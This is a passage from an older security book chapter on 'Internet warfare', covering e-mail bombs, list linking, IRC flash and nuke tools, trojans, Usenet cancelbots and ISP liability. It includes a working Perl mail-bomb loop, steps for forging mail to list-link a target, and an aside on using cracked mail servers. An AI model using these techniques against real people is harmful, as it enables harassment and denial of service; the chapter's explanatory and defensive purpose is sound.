Since his childhood, he has \nbeen fascinated with deep space. Until recently, his knowledge of it was limited, \nprimarily because he didn't have enough resources. He had a library card, true, but this \nnever provided him with more than those books at his local branch. Only on two \noccasions had he ever ordered a book through inter-library loan. At dinner, he explained \nthat he had just purchased a computer and gone online. There, he found a river of \ninformation. Suddenly, I realized I was no longer having dinner with a heavy-equipment \noperator; I was dining with an avid student of Einstein, Hawking, and Sagan. His talk was \nso riveting that I went away hungry for lack of having eaten. \nSo this much is true: The Internet is a an incredible resource for information. However, it \nis also an incredible resource for communication and basic human networking. \nNetworking from a human standpoint is different from computer networking; human \nnetworking contains an added ingredient called action. Thus, individuals from all over \nthe world are organizing (or I should say, crystallizing) into groups with shared interests. \nWomen are organizing for equality, voters are organizing for representation, and parents \nare organizing for legislation to protect their children. \n" }, { "page_number": 113, "text": " \n \nInherent within this process is the exchange of opinions, or more aptly put, ideology. \nIdeology of any sort is bound to bring controversy, and controversy brings disagreement. \nWhether that disagreement occurs between two nations or between two individuals is \nirrelevant. When it occurs on the Internet, it often degenerates into warfare. That is what \nthis chapter is about. \nMuch like the term information warfare, the term Internet warfare is often \nmisunderstood. To understand Internet warfare, you must know that there are different \nclassifications of it. Let's start with those classifications. From there, we can discuss \nwarfare at its most advanced levels. The classifications are \n• \nPersonal Internet warfare \n• \nPublic Internet warfare \n• \nCorporate Internet warfare \n• \nGovernment Internet warfare \nMore generally, Internet warfare is activity in which one or more participants utilize \ntools over the Internet to attack another or the information of another. The objective of \nthe attack may be to damage information, hardware, or software, or to deny service. \nInternet warfare also involves any defensive action taken to repel such an attack. \nSuch warfare may be engaged in by anyone, including individuals, the general public, \ncorporations, or governments. Between these groups, the level of technology varies (by \ntechnology, I am referring to all aspects of the tools required, including high-speed \nconnections, software, hardware, and so forth). In general, the level of technology \nfollows an upward path, as expressed in Figure 8.1. \nFigure 8.1. \nThe level of technology in Internet warfare. \n \nNOTE: The categories Public and Individual may seem confusing. Why are they not \nincluded together? The reason is this: A portion of the public fails to meet the \nrequirements for either corporate forces or individuals. This portion is composed of \nmiddle-level businesses, ISPs, universities, and so on. These groups generally have more \ntechnologically advanced tools than individuals, and they conduct warfare in a different \nmanner. \n \nAs you might guess, there are fundamental reasons for the difference between these \ngroups and the tools that they employ. These reasons revolve around economic and \norganizational realities. The level of technology increases depending upon certain risks \nand demands regarding security. This is graphically illustrated in Figure 8.2. \nFigure 8.2. \nRisks and demands as they relate to various levels of technology. \nNaturally, government and corporate entities are going to have more financial resources \nto acquire tools. These tools will be extremely advanced, created by vendors who \n" }, { "page_number": 114, "text": " \n \nspecialize in high-performance, security-oriented applications. Such applications are \ngenerally more reliable than average tools, having been tested repeatedly under a variety \nof conditions. Except in extreme cases (those where the government is developing \nmethods of destructive data warfare for use against foreign powers), nearly all of these \ntools will be defensive in character. \nPublic organizations tend to use less powerful tools. These tools are often shareware or \nfreeware, which is freely available on the Internet. Much of this software is designed by \ngraduate students in computer science. Other sources include companies that also sell \ncommercial products, but are giving the Internet community a little taste of the quality of \nsoftware available for sale. (Many companies claim to provide these tools out of the \ngoodness of their hearts. Perhaps. In any event, provide them they do, and that is \nsufficient.) Again, nearly all of these tools are defensive in character. \nPrivate individuals use whatever they come across. This may entail shareware or \nfreeware, programs they use at work, or those that have been popularly reviewed at sites \nof public interest. \nThe Private Individual \nThe private individual doesn't usually encounter warfare (at least, not the average user). \nWhen one does, it generally breaks down to combat with another user. This type of \nwarfare can be anticipated and, therefore, avoided. When a debate on the Net becomes \nheated, you may wish to disengage before warfare erupts. Although it has been said a \nthousand times, I will say it again: Arguments appear and work differently on the Internet \nthan in person. E-mail or Usenet news messages are delivered in their entirety, without \nbeing interrupted by points made from other individuals. That is, you have ample time to \nwrite your response. Because you have that time, you might deliver a more scathing reply \nthan you would in person. Moreover, people say the most outrageous things when hiding \nbehind a computer, things they would never utter in public. Always consider these \nmatters. That settled, I want to examine a few tools of warfare between individuals. \nThe E-Mail Bomb \nThe e-mail bomb is a simple and effective harassment tool. A bomb attack consists of \nnothing more than sending the same message to a targeted recipient over and over again. \nIt is a not-so-subtle form of harassment that floods an individual's mailbox with junk. \nDepending upon the target, a bomb attack could be totally unnoticeable or a major \nproblem. Some people pay for their mail service (for example, after exceeding a certain \nnumber of messages per month, they must pay for additional e-mail service). To these \nindividuals, an e-mail bomb could be costly. Other individuals maintain their own mail \nserver at their house or office. Technically, if they lack storage, one could flood their \nmailbox and therefore prevent other messages from getting through. This would \neffectively result in a denial-of-service attack. (A denial-of-service attack is one that \ndegrades or otherwise denies computer service to others. This subject is discussed in \nChapter 14, \"Destructive Devices.\") In general, however, a bomb attack (which is, by the \n" }, { "page_number": 115, "text": " \n \nway, an irresponsible and childish act) is simply annoying. Various utilities available on \nthe Internet will implement such an attack. \nOne of the most popular utilities for use on the Microsoft Windows platform is Mail \nBomber. It is distributed in a file called bomb02.zip and is available at many cracker \nsites across the Internet. The utility is configured via a single screen of fields into which \nthe user enters relevant information, including target, mail server, and so on (see Figure \n8.3). \nFigure 8.3. \nThe Mail Bomber application. \nThe utility works via Telnet. It contacts port 25 of the specified server and generates the \nmail bomb. Utilities like this are commonplace for nearly every platform. Some are for \nuse anywhere on any system that supports SMTP servers. Others are more specialized, \nand may only work on systems like America Online. One such utility is Doomsday, \nwhich is designed for mass mailings over AOL but is most commonly used as an e-mail \nbomber. The entire application operates from a single screen interface, shown in Figure \n8.4. \nFigure 8.4. \nThe Doomsday mail bomber. \n \nNOTE: For several years, the key utility for AOL users was AOHELL, which included \nin its later releases a mail-bomb generator. AOHELL started as a utility used to \nunlawfully access America Online. This, coupled with other utilities such as credit-card \nnumber generators, allowed users to create free accounts using fictitious names. These \naccounts typically expired within two to three weeks. \n \nOn the UNIX platform, mail bombing is inanely simple; it can be accomplished with just \na few lines. However, one wonders why someone skilled in UNIX would even entertain \nthe idea. Nevertheless, some do; their work typically looks something like this: \n#!/bin/perl \n$mailprog = `/usr/lib/sendmail'; \n$recipient = `victim@targeted_site.com'; \n$variable_initialized_to_0 = 0; \nwhile ($variable_initialized_to_0 < 1000) { \nopen (MAIL, \"|$mailprog $recipient\") || die \"Can't open $mailprog!\\n\"; \nprint MAIL \"You Suck!\"; \nclose(MAIL); \nsleep 3; \n$variable_initialized_to_0++; \n} \nThe above code is fairly self-explanatory. It initializes a variable to 0, then specifies that \nas long as that variable is less than the value 1000, mail should be sent to the targeted \nrecipient. For each time this program goes through the while loop, the variable called \n$variable_initialized_to_0 is incremented. In short, the mail message is sent 999 \ntimes. \n" }, { "page_number": 116, "text": " \n \nMail bombing is fairly simple to defend against: Simply place the mailer's identity in a \nkill or bozo file. This alerts your mail package that you do not want to receive mail from \nthat person. Users on platforms other than UNIX may need to consult their mail \napplications; most of them include this capability. \nUNIX users can find a variety of sources online. I also recommend a publication that \ncovers construction of intelligent kill file mechanisms: Teach Yourself the UNIX Shell in \n14 Days by David Ennis and James Armstrong Jr. (Sams Publishing). Chapter 12 of that \nbook contains an excellent script for this purpose. If you are a new user, that chapter (and \nin fact, the whole book) will serve you well. (Moreover, users who are new to UNIX but \nhave recently been charged with occasionally using a UNIX system will find the book \nvery informative.) \nOh yes. For those of you who are seriously considering wholesale e-mail bombings as a \nrecreational exercise, you had better do it from a cracked mail server. A cracked mail \nserver is one that the cracker currently has control of; it is a machine running sendmail \nthat is under the control of the cracker. \nIf not, you may spend some time behind bars. One individual bombed Monmouth \nUniversity in New Jersey so aggressively that the mail server temporarily died. This \nresulted in a FBI investigation, and the young man was arrested. He is reportedly facing \nseveral years in prison. \nI hope that you refrain from this activity. Because e-mail bombing is so incredibly \nsimple, even crackers cast their eyes down in embarrassment and disappointment if a \ncomrade implements such an attack. \nList Linking \nList linking is becoming increasingly common. The technique yields the same basic \nresults as an e-mail bomb, but it is accomplished differently. List linking involves \nenrolling the target in dozens (sometimes hundreds) of e-mail lists. \nE-mail lists (referred to simply as lists) are distributed e-mail message systems. They \nwork as follows: On the server that provides the list service, an e-mail address is \nestablished. This e-mail address is really a pointer to an executable program. This \nprogram is a script or binary file that maintains a database (usually flat file) of e-mail \naddresses (the members of the list). Whenever a mail message is forwarded to this special \ne-mail address, the text of that message is forwarded to all members on the list (all e-mail \naddresses held in the database). These are commonly used to distribute discussions on \nvarious topics of interest to members. \nE-mail lists generate a lot of mail. For example, the average list generates 30 or so \nmessages per day. These messages are received by each member. Some lists digest the \nmessages into a single-file format. This works as follows: As each message comes in, it is \nappended to a plain text file of all messages forwarded on that day. When the day ends \n(this time is determined by the programmer), the entire file--with all appended messages-\n-is mailed to members. This way, members get a single file containing all messages for \nthe day. \n" }, { "page_number": 117, "text": " \n \nEnrolling a target in multiple mailing lists is accomplished in one of two ways. One is to \ndo it manually. The harassing party goes to the WWW page of each list and fills in the \nregistration forms, specifying the target as the recipient or new member. This works for \nmost lists because programmers generally fail to provide an authentication routine. (One \nwonders why. It is relatively simply to get the user's real address and compare it to the \none he or she provides. If the two do not match, the entire registration process could be \naborted.) \nManually entering such information is absurd, but many individuals do it. Another and \nmore efficient way is to register via fakemail. You see, most lists allow for registration \nvia e-mail. Typically, users send their first message to an e-mail address such as this one: \nlist_registration@listmachine.com \nAny user who wants to register must send a message to this address, including the word \nsubscribe in either the subject line or body of the message. The server receives this \nmessage, reads the provided e-mail address in the From field, and enrolls the user. (This \nworks on any platform because it involves nothing more than sending a mail message \npurporting to be from this or that address.) \nTo sign up a target to lists en masse, the harassing party first generates a flat file of all \nlist- registration addresses. This is fed to a mail program. The mail message--in all cases--\nis purportedly sent from the target's address. Thus, the registration servers receive a \nmessage that appears to be from the target, requesting registration to the list. \nThis technique relies on the forging of an e-mail message (or generating fakemail). \nAlthough this is explained elsewhere, I should relate something about it here. To forge \nmail, one sends raw commands to a sendmail server. This is typically found on port 25 of \nthe target machine. Forging techniques work as follows: You Telnet to port 25 of a UNIX \nmachine. There, you begin a mail session with the command HELO. After you execute that \ncommand, the session is open. You then specify the FROM address, providing the mail \nserver with a bogus address (in this case, the target to be list-linked). You also add your \nrecipient and the message to be sent. For all purposes, mail list archives believe that the \nmessage came from its purported author. \nIt takes about 30 seconds to register a target with 10, 100, or 500 lists. What is the result? \nAsk the editorial offices of Time magazine. \nOn March 18, 1996, Time published an article titled \"I'VE BEEN SPAMMED!\" The \nstory concerned a list-linking incident involving the President of the United States, two \nwell-known hacking magazines, and a senior editor at Time. Apparently, a member of \nTime's staff was list-linked to approximately 1,800 lists. Reportedly, the mail amounted \nto some 16MB. It was reported that House Leader Newt Gingrich had also been linked to \nthe lists. Gingrich, like nearly all members of Congress, had an auto-answer script on his \ne-mail address. These trap e-mail addresses contained in incoming messages and send \nautomated responses. (Congressional members usually send a somewhat generic \nresponse, such as \"I will get back to you as soon as possible and appreciate your \nsupport.\") Thus, Gingrich's auto-responder received and replied to each and every \nmessage. This only increased the number of messages he would receive, because for each \n" }, { "page_number": 118, "text": " \n \ntime he responded to a mailing list message, his response would be appended to the \noutgoing messages of the mailing list. In effect, the Speaker of the House was e-mail \nbombing himself. \nFor inexperienced users, there is no quick cure for list linking. Usually, they must send a \nmessage containing the string unsubscribe to each list. This is easily done in a UNIX \nenvironment, using the method I described previously to list-link a target wholesale. \nHowever, users on other platforms require a program (or programs) that can do the \nfollowing: \n• \nExtract e-mail addresses from messages \n• \nMass mail \nThere are other ways to make a target the victim of an e-mail bomb, even without using \nan e-mail bomb utility or list linking. One is particularly insidious. It is generally seen \nonly in instances where there is extreme enmity between two people who publicly spar on \nthe Net. It amounts to this: The attacker posts to the Internet, faking his target's e-mail \naddress. The posting is placed into a public forum in which many individuals can see it \n(Usenet, for example). The posting is usually so offensive in text (or graphics) that other \nusers, legitimately and genuinely offended, bomb the target. For example, Bob posts to \nthe Net, purporting to be Bill. In \"Bill's\" post, an extremely racist message appears. Other \nusers, seeing this racist message, bomb Bill. \nFinally, there is the garden-variety case of harassment on the Internet. This doesn't \ncircumvent either security or software, but I could not omit mention of it. Bizarre cases of \nInternet harassment have arisen in the past. Here are a few: \n• \nA California doctoral candidate was expelled for sexually harassing another via e-mail. \n• \nAnother California man was held by federal authorities on $10,000 bail after being accused of \nbeing an \"international stalker.\" \n• \nA young man in Michigan was tried in federal court for posting a rape-torture fantasy about a girl \nwith whom he was acquainted. The case was ultimately dismissed on grounds of insufficient \nevidence and free speech issues. \nThese cases pop up with alarming frequency. Some have been racially motivated, others \nhave been simple harassment. Every user should be aware that anyone and everyone is a \npotential target. If you use the Internet, even if you haven't published your real name, you \nare a viable target, at least for threatening e-mail messages. \nInternet Relay Chat Utilities \nMany Internet enthusiasts are unfamiliar with Internet Relay Chat (IRC). IRC is an \narcane system of communication that resembles bulletin board systems (BBSs). IRC is an \nenvironment in which many users can log on and chat. That is, messages typed on the \nlocal machine are transmitted to all parties within the chat space. These scroll down the \nscreen as they appear, often very quickly. \n" }, { "page_number": 119, "text": " \n \nThis must be distinguished from chat rooms that are provided for users on systems such \nas AOL. IRC is Internet-wide and is free to anyone with Internet access. It is also an \nenvironment that remains the last frontier of the lawless Internet. \nThe system works as follows: Using an IRC client, the user connects to an IRC server, \nusually a massive and powerful UNIX system in the void. Many universities provide IRC \nservers. \n \nCross Reference: The ultimate list of the world's IRC servers can be found at \nhttp://www.webmaster.com/webstrands/resources/irc/#List of Servers. \n \nOnce attached to an IRC server, the individual specifies the channel to which he or she \nwishes to connect. The names of IRC channels can be anything, although the established \nIRC channels often parallel the names of Usenet groups. These names refer to the \nparticular interest of the users that frequent the channel. Thus, popular channels are \n• \nsex \n• \nhack \nThere are thousands of established IRC channels. What's more, users can create their \nown. In fact, there are utilities available for establishing a totally anonymous IRC server \n(this is beyond the scope of this discussion). Such programs do not amount to warfare, \nbut flash utilities do. Flash utilities are designed to do one of two things: \n• \nKnock a target off the IRC channel \n• \nDestroy the target's ability to continue using the channel \nFlash utilities are typically small programs written in C, and are available on the Internet \nat many cracking sites. They work by forwarding a series of special-character escape \nsequences to the target . These character sequences flash, or incapacitate, the terminal of \nthe target. In plain talk, this causes all manner of strange characters to appear on the \nscreen, forcing the user to log off or start another session. Such utilities are sometimes \nused to take over an IRC channel. The perpetrator enters the channel and flashes all \nmembers who are deemed to be vulnerable. This temporarily occupies the targets while \nthey reset their terminals. \nBy far, the most popular flash utility is called flash. It is available at hundreds of sites on \nthe Internet. For those curious about how the code is written, enter one or all of these \nsearch strings into any popular search engine: \nflash.c \nflash.c.gz \nflash.gz \nmegaflash \nAnother popular utility is called nuke. This utility is far more powerful than any flash \nprogram. Rather than fiddle with someone's screen, it simply knocks the user from the \nserver altogether. Note that using nuke on a wholesale basis to deny computer service to \n" }, { "page_number": 120, "text": " \n \nothers undoubtedly amounts to unlawful activity. After some consideration, I decided that \nnuke did not belong on the CD-ROM that accompanies this book. However, for those \ndetermined to get it, it exists in the void. It can be found by searching for the filename \nnuke.c. \nThere are few other methods by which one can easily reach an individual. The majority \nof these require some actual expertise on the part of the attacker. In this class are the \nfollowing methods of attack: \n• \nVirus infection and malicious code \n• \nCracking \nAlthough these are extensively covered later in this book, I want to briefly treat them \nhere. They are legitimate concerns and each user should be aware of these actual dangers \non the Net. \nVirus Infections and Trojan Horses \nVirus attacks over the Internet are rare but not unheard of. The primary place that such \nattacks occur is the Usenet news network. You will read about Usenet in the next section. \nHere, I will simply say this: Postings to Usenet can be done relatively anonymously. \nMuch of the information posted in Usenet these days involves pornography, files on \ncracking, or other potentially unlawful or underground material. This type of material \nstrongly attracts many users and as such, those with malicious intent often choose to drop \ntheir virus in this network. \nCommonly, viruses or malicious code masquerade as legitimate files or utilities that have \nbeen zipped (compressed) and released for general distribution. It happens. Examine this \nexcerpt from a June 6, 1995 advisory from the Computer Incident Advisory Capability \nTeam at the U.S. Department of Energy: \nA trojaned version of the popular, DOS file-compression utility PKZIP is \ncirculating on the networks and on dial-up BBS systems. The trojaned \nfiles are PKZ300B.EXE and PKZ300B.ZIP. CIAC verified the following \nwarning from PKWARE: \n\"Some joker out there is distributing a file called PKZ300B.EXE and \nPKZ300B.ZIP. This is NOT a version of PKZIP and will try to erase your \nhard drive if you use it. The most recent version is 2.04G. Please tell all \nyour friends and favorite BBS stops about this hack. \n\"PKZ300B.EXE appears to be a self extracting archive, but actually \nattempts to format your hard drive. PKZ300B.ZIP is an archive, but the \nextracted executable also attempts to format your hard drive. While \nPKWARE indicated the trojan is real, we have not talked to anyone who \nhas actually touched it. We have no reports of it being seen anywhere in \nthe DOE. \n" }, { "page_number": 121, "text": " \n \n\"According to PKWARE, the only released versions of PKZIP are 1.10, 1.93, 2.04c, 2.04e and \n2.04g. All other versions currently circulating on BBSs are hacks or fakes. The current version of \nPKZIP and PKUNZIP is 2.04g.\" \nThat advisory was issued very quickly after the first evidence of the malicious code was \ndiscovered. At about the same time, a rather unsophisticated (but nevertheless \ndestructive) virus called Caibua was released on the Internet. Many users were infected. \nThe virus, under certain conditions, would overwrite the default boot drive. \n \nCross Reference: Virus attacks and defenses against them are discussed in Chapter 14, \n\"Destructive Devices.\" However, I highly recommend that all readers bookmark \nhttp://ciac.llnl.gov/ciac/CIACVirusDatabase.html. This site is one of the most \ncomprehensive virus databases on the Internet and an excellent resource for learning \nabout various viruses that can affect your platform. \n \nHere's an interesting bit of trivia: If you want to be virus-free, use UNIX as your \nplatform. According to the CIAC, there has only been one recorded instance of a UNIX \nvirus, and it was created purely for research purposes. It was called the AT&T Attack \nVirus. \n \nCross Reference: If you want to see an excellent discussion about UNIX and viruses, \ncheck out \"The Plausibility of UNIX Virus Attacks\" by Peter V. Radatti at \nhttp://www.cyber.com/papers/plausibility.html. \n \nRadatti makes a strong argument for the plausibility of a UNIX virus. However, it should \nbe noted that virus authors deem UNIX a poor target platform because of access-control \nrestrictions. It is felt that such access-control restrictions prevent the easy and fluid spread \nof the virus, containing it in certain sectors of the system. Therefore, for the moment \nanyway, UNIX platforms have little to fear from virus authors around the world. \nNonetheless, as I discuss in Chapter 14, at least one virus for Linux has been confirmed. \nThis virus is called Bliss. Reports on Bliss at the time of this writing are sketchy. There is \nsome argument on the Internet as to whether Bliss qualifies more as a trojan, but the \nmajority of reports suggest otherwise. Furthermore, it is reported that it compiles cleanly \non other UNIX platforms. \n \nCross Reference: The only known system tool that checks for Bliss infection was \nwritten by Alfred Huger and is located at ftp://ftp.secnet.com/pub/tools/abliss.tar.gz. \n \n \nNOTE: There is some truth to the assertion that many viruses are written overseas. The \nrationale for this is as follows: Many authorities feel that authors overseas may not be \ncompensated as generously for their work and they therefore feel disenfranchised. Do \nyou believe it? I think it's possible. \n \nIn any event, all materials downloaded from a nontrusted source should be scanned for \nviruses. The best protection is a virus scanner; there are many for all personal computer \nplatforms. Even though this subject is covered extensively later, Table 8.1 shows a few. \nTable 8.1. Virus scanners by platform. \n" }, { "page_number": 122, "text": " \n \nPlatform \nVirus \nWindows/DOS Thunderbyte, F-PROT, McAfee's Virus Scan, TBAV \nWindows 95 \nMcAfee's Virus Scan, Thunderbyte, Dr. Antivirus \nWindows NT \nNorton Antivirus, Sweep, NTAV, NT ViruScan, McAfee's Virus Scan \nMacintosh \nGatekeeper, Disinfectant, McAfee's Virus Scan \nOS/2 \nMcAfee's Virus Scan \nMalicious code is slightly different from a virus, but I want to mention it briefly (even \nthough I cover malicious code extensively in Chapter 14). Malicious code can be defined \nas any programming code that is not a virus but that can do some harm, however \ninsignificant, to a user's software. \nToday, the most popular form of malicious code involves the use of black widow apps, or \nsmall, portable applications in use on the WWW that can crash or otherwise incapacitate \nyour WWW browser. These are invariably written in scripting languages like JavaScript \nor VBScript. These tiny applications are embedded within the HTML code that creates \nany Web page. In general, they are fairly harmless and do little more than force you to \nreload your browser. However, there is some serious talk on the Net of such applications \nbeing capable of: \n• \nCircumventing security and stealing passwords \n• \nFormatting hard disk drives \n• \nCreating a denial-of-service situation \nThese claims are not fictional. The programming expertise required to wreak this havoc is \nuncommon in prankster circles. However, implementing such apps is difficult and risky \nbecause their origin can be easily traced in most instances. Moreover, evidence of their \nexistence is easily obtained simply by viewing the source code of the host Web page. \nHowever, if such applications were employed, they would be employed more likely with \nJava, or some other compiled language. \nIn any event, such applications do exist. They pose more serious risks to those using \nnetworked operating systems, particularly if the user is browsing the Web while logged \ninto an account that has special privileges (such as root, supervisor, or administrator). \nThese privileges give one great power to read, write, alter, list, delete, or otherwise \ntamper with special files. In these instances, if the code bypasses the browser and \nexecutes commands, the commands will be executed with the same privileges as the user. \nThis could be critical and perhaps fatal to the system administrator. (Not physically fatal, \nof course. That would be some incredible code!) \nCracking \nCracking an individual is such a broad subject that I really cannot cover it here. \nIndividuals use all kinds of platforms, and to insert a \"cracking the individual\" passage \nhere would defeat the purpose of this book (or rather, the whole book would have to \nappear in this chapter). I say this because throughout this book, I discuss cracking \n" }, { "page_number": 123, "text": " \n \ndifferent platforms with different techniques and so on. However, I will make a general \nstatement here: \nUsers who surf using any form of networked operating system are viable targets. So there \nis no misunderstanding, let me identify those operating systems: \n• \nWindows 95 \n• \nWindows NT \n• \nNovell NetWare \n• \nAny form of UNIX \n• \nSome versions of AS/400 \n• \nVAX/VMS \nIf you are connected to the Net with such an operating system, you are a potential target \nof an online crack. Much depends on what services you are running, but be assured: If \nyou are running TCP/IP as a protocol, you are a target. Equally, those Windows 95 users \nwho share out directories are also targets. (I discuss this in detail in Chapter 16, \n\"Microsoft,\" but briefly, shared out directories are those that allow file sharing across a \nnetwork.) \nThe Public and Corporations \nThis section starts with the general public. The general public is often a target of Internet \nwarfare, though most Internet users may remain unaware of this. Attacks against the \ngeneral public most often occur on the Usenet news network. I want to briefly describe \nwhat Usenet is, for many users fail to discover Usenet news even after more than a year \nof Internet use. In that respect, Usenet news is much like IRC. It is a more obscure area of \nthe Internet, accessible through browsers, but more commonly accessed through \nnewsreaders. Some common newsreaders for various platforms are shown in Table 8.2. \nTable 8.2. Newsreaders by platform. \nPlatform \nNewsreader \nWindows \nFree Agent, WinVn, Smart Newsreader, Virtual Access, 32 bit News, SB Newsbot, News \nXpress, Microsoft News \nUNIX \nTRN, TIN, Pine, Xnews, Netscape Navigator, INN \nWindows 95 Free Agent, WinVn, Smart Newsreader, Virtual Access, 32 bit News, SB Newsbot, News \nXpress, Microsoft News \nWindows \nNT \nFree Agent, WinVn, Smart Newsreader, Virtual Access, 32 bit News, SB Newsbot, News \nXpress, Microsoft News \nMacintosh \nNetscape Navigator, NewsWatcher, Cyberdog, Internews, Nuntius, \nOS/2 \nNewsbeat, Postroad, \nThe interface of a typical browser includes a listing of newsgroup messages currently \nposted to the selected newsgroup. These messages are displayed for examination in the \n" }, { "page_number": 124, "text": " \n \nnewsreader. For example, examine Figure 8.5, which shows a Free Agent Usenet session \nreviewing posted messages (or articles) to the Usenet group. \nFigure 8.5. \nA typical Usenet session using Free Agent by Forte. \nUsenet news is basically a massive, public bulletin board system. On it, users discuss \nvarious topics of interest. They do this by posting messages to the system. These \nmessages are saved and indexed with all messages on that topic. The totality of messages \nposted on a particular topic form a discussion thread. This thread is generally arranged \nchronologically. The typical progression is this: \n1. One user starts a thread by posting a message. \n \n2. Another user sees this message, disagrees with the original poster, and posts a rebuttal. \n \n3. More users see this exchange and jump in on the action, either supporting or rebutting the \noriginal posts (and all subsequent ones.) \nIf this sounds adversarial, it's because it is. Although peaceful Usenet discussions are \ncommon, it is more common to see arguments in progress. \nIn any event, Usenet messages are probably the most graphic example of free speech in \nAmerica. One can openly express opinions on any subject. It is a right of all Internet \nusers. Sometimes, however, others directly interfere with that right. For example, in \nSeptember, 1996, someone erased approximately 27,000 messages posted by various \nethnic groups and other interested parties. As Rory J. O'Connor of the Mercury News \nreported: \nOne of the more popular mass communication forms on the Internet was sabotaged last weekend, \nwiping clean dozens of public bulletin boards with tens of thousands of messages frequented by \nJews, Muslims, feminists, and gays, among others. \nThis type of activity, called canceling, is common and, to date, there is no clear \napplication of U.S. law to deal with it. For example, some legal experts are still debating \nwhether this constitutes an offense as defined under current law. Offense under criminal \nlaw or not, it would appear that such activity could constitute a tort or civil wrong of \nsome classification. For example, the Internet has not yet been the target of any lawsuit \nbased on antitrust law. However, it would seem reasonable that antitrust claims (those \nalleging attempted restraint of interstate commerce) could apply. This is a question that \nwill undoubtedly take a decade to sort out. For although the technology of the Internet \nmoves quickly indeed, the legal system grinds ahead at a slow pace. \nCanceling refers to that activity where a user generates a cancel command for a given \nUsenet message. By sending this cancel command, the user erases the Usenet message \nfrom the Internet. This feature was added to the Usenet system so that a user could cancel \na message if he or she suddenly decided it wasn't appropriate or had lost its value. This is \ndiscussed more in Chapter 13, \"Techniques to Hide One's Identity.\" \n \nCross Reference: If you are interested in cancel techniques and want to know more, \nthere are several resources. First, the definitive document on what types of cancels are \npermitted is at http://www.math.uiuc.edu/~tskirvin/home/rfc1036b. \n" }, { "page_number": 125, "text": " \n \nThe FAQ about cancel messages is at \nhttp://www.lib.ox.ac.uk/internet/news/faq/archive/usenet.cancel-\nfaq.part1.html. \n \nCancel techniques are often used against advertisers who attempt to flood the Usenet \nnetwork with commercial offerings (this activity is referred to as spamming). Such \nadvertisers typically use commercial software designed to make Usenet postings en \nmasse. This is required for the task, as there are over 20,000 Usenet groups to date. To \ntarget each one would be no less laborious than mailing 20,000 e-mail messages. Thus, \nmass-posting utilities are becoming the latest hot item for commercial advertisers. Alas, \nthey may be wasting their money. \nSeveral individuals skilled in Internet programming have created cancelbots. These are \nprograms that go onto the Usenet network and search for messages that fit programmer-\ndefined criteria. When these messages are identified, they are canceled. This can be done \nby anyone on a small scale. However, this technique is impractical to generate cancels en \nmasse. For this, you use a cancelbot. Cancelbots are robots, or automated programs that \ncan automatically cancel thousands of messages. \nIn the past, these utilities have been used primarily by purists who disapprove of \ncommercialization of the Net. They chiefly target advertisers who fail to observe good \nNetiquette. The Usenet community has traditionally supported such efforts. However, a \nnew breed of canceler is out there: This breed cancels out of hatred or intolerance, and \nthe phenomenon is becoming more prevalent. In fact, cancelbots are just the tip of the \niceberg. \nMany special-interest groups take their battles to the Net, and cancel messaging is one \nweapon the often use. For example, consider the debate over Scientology. The Church of \nScientology is a large and influential organization. Many people question the validity of \nthe Scientologist creed and belief. In the past few years, several open wars have erupted \non the Usenet network between Scientologists and their critics. (The Usenet group in \nquestion here is alt.religion.scientology.) These wars were attended by some fairly \nmysterious happenings. At one stage of a particularly ugly struggle, when the \nScientologists seemed overwhelmed by their sparring partners, a curious thing happened: \nAnd thus it was that in late 1994, postings began to vanish from alt.religion.scientology, \noccasionally with an explanation that the postings had been \"canceled because of copyright \ninfringement.\" To this day, it is not known who was behind the deployment of these \"cancelbots,\" \nas they are known. Again, the CoS disclaimed responsibility, and the anti-Scientology crowd \nbegan to refer to this anonymous participant simply as the \"Cancel-bunny,\" a tongue-in-cheek \nreference to both the Energizer bunny and to a well-known Net inhabitant, the Cancelmoose, who \nhas taken it upon himself (itself?, themselves?) to set up a cancelbot-issuing process to deal with \nother kinds of spamming incidents. But whoever or whatever the Cancelbunny may be, its efforts \nwere quickly met by the development of yet another software weapon, appropriately dubbed \n\"Lazarus,\" that resurrects canceled messages (or, more accurately, simply alerts the original \nposter, and all other participants in the newsgroup, that a specific message has been canceled, \nleaving it up to the original poster to reinstate the message if he or she were not the party that \nissued the cancel command).1 \n \n" }, { "page_number": 126, "text": " \n \n1\"The First Internet War; The State of Nature and the First Internet War: Scientology, its \nCritics, Anarchy, and Law in Cyberspace.\" David G. Post, Reason magazine. April, 1996. \n(Copyright trailer follows: (c) 1996 David G. Post. Permission granted to redistribute \nfreely, in whole or in part, with this notice attached.) \n \nThe controversy between the Scientologists and their critics was indeed the first war on \nthe Internet. That war isn't over yet, either. Unfortunately for all parties concerned, the \nwar wafted out of cyberspace and into courts in various parts of the world. In short, \nwarring in cyberspace simply wasn't satisfying enough. The combatants have therefore \ntaken to combat in the real world. \n \nCross Reference: If you are genuinely interested in this war, which is truly brutal, visit \nhttp://www.cybercom.net/~rnewman/scientology/home.html. \n \nThe Internet is an odd place, and there are many people there who want to harm each \nother. In this respect, the Internet is not radically different from reality. The problem is \nthat on the Internet, these people can find each other without much effort. Furthermore, \nviolent exchanges are almost always a public spectacle, and the Internet has no riot \npolice. You have choices, and here they are: \n• \nDon't get involved \n• \nSpeak softly and carry a big stick \n• \nGet a UNIX box and some serious hacking experience \nI recommend a combination of the first and last options. That way, you are out of the line \nof fire. And if, for some inexplicable reason, someone pulls you into the line of fire, you \ncan blow them right out of cyberspace. \nInternet Service Providers \nInternet service providers (ISPs) are the most likely to engage in warfare, immediately \nfollowed by universities. I want to address ISPs first. For our purposes, an ISP is any \norganization that provides Internet access service to the public or even to a limited class \nof users. This definition includes freenets, companies that provide access to their \nemployees, and standard ISPs that provide such services for profit. Internet access \nservice means any service that allows the recipient of such service to access any portion \nof the Internet, including but not limited to mail, Gopher, HTTP, Telnet, FTP, or other \naccess by which the recipient of such services may traffic data of any kind to or from the \nInternet. \nISPs are in a unique position legally, commercially, and morally. They provide service \nand some measure of confidentiality to their users. In that process, they undertake a \ncertain amount of liability. Unfortunately, the parameters of that liability have not yet \nbeen adequately defined in law. Is an ISP responsible for the content of its users' \nmessages? \n" }, { "page_number": 127, "text": " \n \nSuppose users are utilizing the ISP's drives to house a pirated software site. Is the ISP \nliable for helping facilitate criminal activity by failing to implement action against \npirates? \nIf a cracker takes control of an ISP and uses it to attack another, is the first ISP liable? \n(Did it know or should it have known its security was lax and thus the damages of the \nvictim were foreseeable?) \nIf a user retouches trademarked, copyrighted cartoon characters into pornographic \nrepresentations and posts them on a Web page, is the ISP at fault? \nThese are questions that have yet to be answered. And from the first case where a \nplaintiff's attorneys manage to hoist that liability onto ISPs, the freedom of the Internet \nwill begin to wither and die. These are not the only problems facing ISPs. \nBecause they provide Internet access services, they have one or more 